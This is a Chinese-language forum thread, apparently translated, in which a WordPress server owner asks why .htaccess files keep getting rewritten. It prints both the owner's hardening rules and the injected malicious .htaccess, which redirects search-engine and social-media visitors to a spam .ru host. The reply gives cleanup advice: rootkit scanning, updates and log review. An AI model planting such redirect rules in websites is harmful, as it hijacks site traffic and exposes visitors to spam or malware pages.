恶意脚本更改文件 .htaccess 到服务器

可能的副本:

https://serverfault.com/questi ... gency
似乎有一种恶意脚本可以向我的服务器吸引和编辑文件 .htaccess 对于所有发布的网站,用于重定向到垃圾邮件链接。

如何最好地阻止它?

我更改了控制面板和访问的服务器访问数据 FTP, 并尝试更新现有文件 .htaccess 在下一个代码的帮助下,但它仍在变化。

# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# END WordPress

# protect wp-config.php
<files wp-config.php="">
Order deny,allow
Deny from all
</files>

# Protect the htaccess file
<files .htaccess="">
order allow,deny
deny from all
</files>

# protect from sql injection
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

还有什么可以帮助?

抱歉缺乏信息,我是新的服务器等,因此,如果需要任何其他信息,只是喊叫!

预先感谢您的任何帮助。



******* 编辑 *******

恶意软件 .htaccess 根据要求

<ifmodule mod_rewrite.c="">    
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url] [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url] [R=301,L]
</ifmodule>

# STRONG HTACCESS PROTECTION
<files "^.*\.([hh][tt][aa])"="" ~="">
order allow,deny
deny from all
satisfy all
</files>
# protect from sql injection
Options +FollowSymLinks
RewriteEngine On
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
ErrorDocument 400 [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url]
ErrorDocument 401 [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url]
ErrorDocument 403 [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url]
ErrorDocument 404 [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url]
ErrorDocument 500 [url=http://byidelement.ru/ruby/index.php]http://byidelement.ru/ruby/index.php[/url]
已邀请:

莫问

赞同来自:


http://www.chkrootkit.org/
很快,以防万一。

确保使用安全修复更新所有包:

Ubuntu / Debian:

apt-get update; apt-get dist-upgrade

CentOS / Fedora / RHEL:

yum upgrade

这可能是一个在版本中的着名漏洞 Wordpress (或任何其他完成的环境), 您使用的是,现在发现它再次远程使用。 如果是,请查找您使用的所有框架的最新版本并检查安全校正。

假设它远程操作,可以通过接收来确认

tail

在Web服务器上启动,访问日志并跟踪任何可疑活动。

tail -f /var/log/apache2/access-log

将是标准安装的命令 Ubuntu, 但所有的分布都将其杂志放置 Apache 在不同的地方。 当你看到怀疑的东西时,你会学习什么 VirtualHost 它被黑了。 如果您喜欢冒险,请查看您的历史访问日志。 这在高流量服务器上可能看起来有挑战性的任务,但将显示攻击点。 建议搜索区域,开始搜索关于第一次攻击发生的时间。

要回复问题请先登录注册